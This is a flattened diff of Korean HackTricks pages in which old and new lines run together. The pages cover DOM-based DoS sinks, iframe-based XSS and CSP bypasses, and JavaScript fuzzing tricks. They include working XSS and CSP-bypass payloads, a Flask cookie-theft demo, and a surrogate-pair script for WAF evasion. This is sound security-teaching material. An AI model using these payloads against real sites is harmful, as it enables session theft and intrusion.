**DOM 기반 서비스 거부 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 안전하지 않게 문제가 있는 플랫폼 API로 전달할 때 발생**합니다. 이는 호출될 때 사용자의 컴퓨터가 **과도한 양의 CPU 또는 디스크 공간을 소비하도록 할 수 있는 API**를 포함합니다. 이러한 취약점은 브라우저가 `localStorage`에 데이터를 저장하려는 시도를 거부하거나 바쁜 스크립트를 종료함으로써 웹 사이트의 기능을 제한하는 등의 중대한 부작용을 일으킬 수 있습니다. **DOM 기반 서비스 거부 취약점**은 스크립트가 **공격자가 제어할 수 있는 데이터를 문제의 플랫폼 API에 안전하지 않게 전달할 때** 발생합니다. 여기에는 호출될 때 사용자의 컴퓨터가 **과도한 CPU 또는 디스크 공간**을 소비하게 할 수 있는 API가 포함됩니다. 이러한 취약점은 브라우저가 `localStorage`에 데이터를 저장하려는 시도를 거부하거나 바쁜 스크립트를 종료함으로써 웹사이트의 기능을 제한하는 등의 중대한 부작용을 초래할 수 있습니다.
싱크: Sinks:
```javascript ```javascript
requestFileSystem() requestFileSystem()
RegExp() RegExp()
@ -308,14 +311,17 @@ RegExp()
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출**하여 주세요.
</details> </details>
{% endhint %}

View file

@ -1,12 +1,29 @@
# XSS에서의 Iframes # Iframes in XSS, CSP and SOP
iframed 페이지의 내용을 나타내는 세 가지 방법이 있습니다: {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
* `src`를 통해 URL을 나타냄 (URL은 교차 출처 또는 동일 출처일 수 있음) <details>
* `data:` 프로토콜을 사용하여 내용을 나타냄
* 내용을 나타내는 `srcdoc`를 사용함
**부모 및 자식 변수에 액세스하기** <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes in XSS
iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:
* URL을 나타내는 `src`를 통해 (URL은 교차 출처 또는 동일 출처일 수 있음)
* `data:` 프로토콜을 사용하여 내용을 나타내는 `src`를 통해
* 내용을 나타내는 `srcdoc`을 통해
**부모 및 자식 변수 접근**
```html ```html
<html> <html>
<script> <script>
@ -37,18 +54,18 @@ var secret="child secret";
alert(parent.secret) alert(parent.secret)
</script> </script>
``` ```
만약 http 서버를 통해 이전의 html에 접근한다면 (`python3 -m http.server`와 같은 방법), 모든 스크립트가 실행되는 것을 알 수 있을 것입니다 (CSP가 방지하지 않기 때문). **부모는 어떤 iframe 내부의 `secret` 변수에 접근할 수 없을 것**이며 **오직 if2 및 if3이라는 동일 사이트로 간주되는 iframes만이 원래 창의 `secret`에 접근할 수 있습니다.**\ 이전 html에 http 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3(같은 사이트로 간주됨)만이 원래 창에서 비밀에 접근할 수 있습니다.**\
if4가 `null` origin을 가지고 있는 것에 주목하세요. if4가 `null` 출처로 간주된다는 점에 유의하세요.
### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a> ### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
{% hint style="info" %} {% hint style="info" %}
다음 우회 방법에서 주목해야 할 점은, iframed 페이지로의 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 것입니다. 다음 우회에서 iframed 페이지에 대한 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.
{% endhint %} {% endhint %}
`script-src``self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용한 JS 코드 실행을 허용하지 않을 것입니다.\ `script-src``self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.\
그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만)을 넣는 iframes의 실행을 허용할 것입니다.\ 그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.\
따라서 페이지의 CSP를 우회하는 것이 가능합니다. 따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다:
```html ```html
<html> <html>
<head> <head>
@ -63,14 +80,14 @@ var secret = "31337s3cr37t";
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe> <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html> </html>
``` ```
이전 CSP는 **인라인 스크립트의 실행만 허용한다는 점에 유의**하십시오.\ **이전 CSP는 인라인 스크립트의 실행만 허용합니다.**\
그러나 **`if1``if2` 스크립트만 실행되지만 `if1`만 부모 비밀번호에 액세스할 수 있습니다**. 그러나 **오직 `if1``if2` 스크립트만 실행되지만, `if1`만 부모 비밀에 접근할 수 있습니다.**
![](<../../.gitbook/assets/image (372).png>) ![](<../../.gitbook/assets/image (372).png>)
따라서, **서버에 JS 파일을 업로드하고 `iframe`을 통해로드하는 경우에도 `script-src 'none'`으로 CSP를 우회할 수 있습니다**. 이것은 **동일 사이트 JSONP 엔드포인트를 남용하여도 가능합니다**. 따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`일지라도 가능합니다.** 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.**
다음 시나리오로 이를 테스트할 수 있습니다. `script-src 'none'`로 심지어 쿠키가 도용되는 상황입니다. 애플리케이션을 실행하고 브라우저로 액세스하십시오: 다음 시나리오로 테스트할 수 있습니다. `script-src 'none'`일지라도 쿠키가 도난당하는 경우입니다. 애플리케이션을 실행하고 브라우저로 접근해 보세요:
```python ```python
import flask import flask
from flask import Flask from flask import Flask
@ -90,7 +107,7 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__": if __name__ == "__main__":
app.run() app.run()
``` ```
### 야생에서 발견된 다른 페이로드 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a> ### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html ```html
<!-- This one requires the data: scheme to be allowed --> <!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
@ -101,26 +118,26 @@ app.run()
``` ```
### Iframe sandbox ### Iframe sandbox
`sandbox` 속성을 사용하여 iframe 내의 콘텐츠에 추가 제한을 적용할 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 제한이 없는 상태입니다. iframe 내의 콘텐츠는 `sandbox` 속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 즉 제한이 없습니다.
`sandbox` 속성을 사용하면 다음과 같은 제한이 부과됩니다: 사용될 때, `sandbox` 속성은 여러 가지 제한을 부과합니다:
- 콘텐츠는 고유한 소스에서 비롯된 것으로 처리됩니다. * 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
- 양식 제출 시도가 차단됩니다. * 양식을 제출하려는 모든 시도가 차단됩니다.
- 스크립트 실행이 금지됩니다. * 스크립트 실행이 금지됩니다.
- 특정 API에 대한 액세스가 비활성화됩니다. * 특정 API에 대한 접근이 비활성화됩니다.
- 링크가 다른 브라우징 컨텍스트와 상호 작용하는 것을 방지합니다. * 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
- `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다. * `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
- 콘텐츠 자체에 의한 최상위 브라우징 컨텍스트의 탐색이 방지됩니다. * 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
- 비디오 재생이나 양식 컨트롤의 자동 초점 설정과 같은 기능이 차단됩니다. * 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.
`sandbox` 속성의 값은 모든 상기 제한을 적용하려면 비워둘 수 있습니다(`sandbox=""`). 또는 특정 제한에서 iframe을 제외하도록 지정된 값의 공백으로 구분된 목록으로 설정할 수도 있습니다. 속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (`sandbox=""`). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.
```html ```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe> <iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
``` ```
## SOP에서의 Iframes ## SOP에서의 Iframes
다음 페이지를 확인하십시오: 다음 페이지를 확인하세요:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} {% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md) [bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
@ -138,14 +155,17 @@ app.run()
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**을 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,31 +1,37 @@
# 정수 오버플로우 # 정수 오버플로우
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}
확인: 확인하기:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %} {% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md) [integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **[💬](https://emojipedia.org/speech-balloon/) [Discord 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# 기타 JS 트릭 및 관련 정보 # Misc JS Tricks & Relevant Info
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
</details> </details>
{% endhint %}
## Javascript Fuzzing ## Javascript Fuzzing
### 유효한 JS 주석 문자 ### Valid JS Comment Chars
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -87,7 +90,7 @@ console.log(`[${err}]`,j,cmd);
} }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
``` ```
### 함수 호출에서 유효한 JS 공백 ### 유효한 JS 공백 함수 호출에서
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
@ -104,7 +107,7 @@ log.push(i)
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279 console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
``` ```
### **문자열 생성에 사용할 수 있는 유효한 문자** ### **문자열 생성을 위한 유효한 문자**
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
@ -119,9 +122,9 @@ log.push(i)
console.log(log) //34,39,47,96 console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex) //single quote, quotes, backticks & // (regex)
``` ```
### **서로 대체 쌍 BF** ### **Surrogate Pairs BF**
이 기술은 XSS에는 그리 유용하지 않지만 WAF 보호를 우회하는 데 유용할 수 있습니다. 이 Python 코드는 2바이트를 입력으로 받아 첫 번째 바이트가 고대체 쌍의 마지막 바이트와 마지막 바이트가 저대체 쌍의 마지막 바이트인 대체 쌍을 찾습니다. 이 기술은 XSS에는 그다지 유용하지 않지만 WAF 보호를 우회하는 데 유용할 수 있습니다. 이 파이썬 코드는 2바이트를 입력으로 받아들이고, 첫 번째 바이트가 하이 서러게이트 쌍의 마지막 바이트이고 마지막 바이트가 로우 서러게이트 쌍의 마지막 바이트인 서러게이트 쌍을 검색합니다.
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -132,11 +135,6 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]): if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u")) print(H.replace("0x","\\u")+L.replace("0x","\\u"))
``` ```
더 많은 정보:
* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` 프로토콜 퍼징 ### `javascript{}:` 프로토콜 퍼징
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@ -204,16 +202,16 @@ console.log(log)//33,45,62
``` ```
## **속성 분석** ## **속성 분석**
도구 **Hackability inspector** from Portswigger는 자바스크립트 객체의 **속성을 분석하는 데 도움**이 됩니다. 확인: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) Portswigger의 도구 **Hackability inspector**는 자바스크립트 객체의 **속성**을 **분석**하는 데 도움을 줍니다. 확인: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js 파일** ## **.map js 파일**
* .map js 파일을 다운로드하는 **트릭**: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) * .map js 파일을 다운로드하는 트릭: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
* 이 도구를 사용하여 이러한 파일을 분석할 수 있습니다: [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) * 이 도구를 사용하여 이러한 파일을 분석할 수 있습니다 [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" 할당 ## "--" 할당
감소 연산자 `--`는 또한 **할당**입니다. 이 연산자는 값을 가져와서 그 값을 1만큼 감소시킵니다. 그 값이 숫자가 아닌 경우 `NaN`으로 설정됩니다. 이를 사용하여 **환경에서 변수의 내용을 제거**할 수 있습니다. 감소 연산자 `--`는 또한 할당입니다. 이 연산자는 값을 가져와서 1만큼 감소시킵니다. 그 값이 숫자가 아닌 경우 `NaN`으로 설정됩니다. 이**환경에서 변수의 내용을 제거하는 데** 사용될 수 있습니다.
![](<../../.gitbook/assets/image (993).png>) ![](<../../.gitbook/assets/image (993).png>)
@ -223,8 +221,8 @@ console.log(log)//33,45,62
### .call 및 .apply ### .call 및 .apply
함수의 **`.call`** 메서드는 **함수를 실행하는 데 사용**됩니다.\ 함수의 **`.call`** 메서드는 **함수를 실행하는 데** 사용됩니다.\
기본적으로 예상하는 **첫 번째 인수**는 **`this`의 값**이며, **아무것도** 제공되지 않으면 **`window`**가 그 값이 됩니다 (단, **`strict mode`**가 사용되지 않는 한). 기본적으로 기대하는 **첫 번째 인수**는 **`this`의 값**이며, **아무것도** 제공되지 않으면 **`window`**가 그 값이 됩니다(단, **`strict mode`**가 사용되지 않는 한).
```javascript ```javascript
function test_call(){ function test_call(){
console.log(this.value); //baz console.log(this.value); //baz
@ -257,7 +255,7 @@ test_apply.apply(null, ["arg1", "arg2"])
``` ```
### 화살표 함수 ### 화살표 함수
화살표 함수를 사용하면 함수를 더 쉽게 한 줄로 생성할 수 있습니다 (이해한다면). 화살표 함수는 함수를 한 줄로 더 쉽게 생성할 수 있게 해줍니다(이해한다면).
```javascript ```javascript
// Traditional // Traditional
function (a){ return a + 1; } function (a){ return a + 1; }
@ -280,7 +278,7 @@ let a = 4;
let b = 2; let b = 2;
() => a + b + 1; () => a + b + 1;
``` ```
그래서 이전 대부분의 함수들은 실제로 쓸모가 없습니다. 왜냐하면 우리는 그것들을 저장하고 호출할 곳이 없기 때문입니다. `plusone` 함수를 생성하는 예: 그래서 이전의 대부분 함수는 실제로 쓸모가 없습니다. 왜냐하면 우리는 그것들을 저장하거나 호출할 곳이 없기 때문입니다. `plusone` 함수를 생성하는 예:
```javascript ```javascript
// Traductional // Traductional
function plusone (a){ return a + 1; } function plusone (a){ return a + 1; }
@ -288,9 +286,9 @@ function plusone (a){ return a + 1; }
//Arrow //Arrow
plusone = a => a + 100; plusone = a => a + 100;
``` ```
### Bind 함수 ### Bind function
